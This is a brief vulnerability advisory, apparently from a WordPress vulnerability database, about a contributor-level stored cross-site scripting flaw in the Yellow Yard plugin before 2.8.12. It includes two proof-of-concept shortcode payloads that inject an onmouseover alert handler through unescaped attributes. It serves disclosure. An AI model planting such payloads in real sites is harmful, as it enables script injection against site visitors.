Yellow Yard < 2.8.12 - Contributor+ Stored XSS

2023-02-0700:00:00

wpvulndb

yellow yard

stored xss

contributor+

0.0004 Low

EPSS

Percentile

14.2%

JSON

The plugin does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks

[yy_filter field='" style=background-color:red onmouseover=alert(/XSS/)//']

Other affected attributes: type, title

[yy_filter_container class='" style=background-color:red onmouseover=alert(/XSS/)//']

Other affected attribute: action

0.0004 Low

EPSS

Percentile

14.2%

JSON

Related for WPEX-ID:1830E829-4A43-4D98-8214-EECEC6BEF694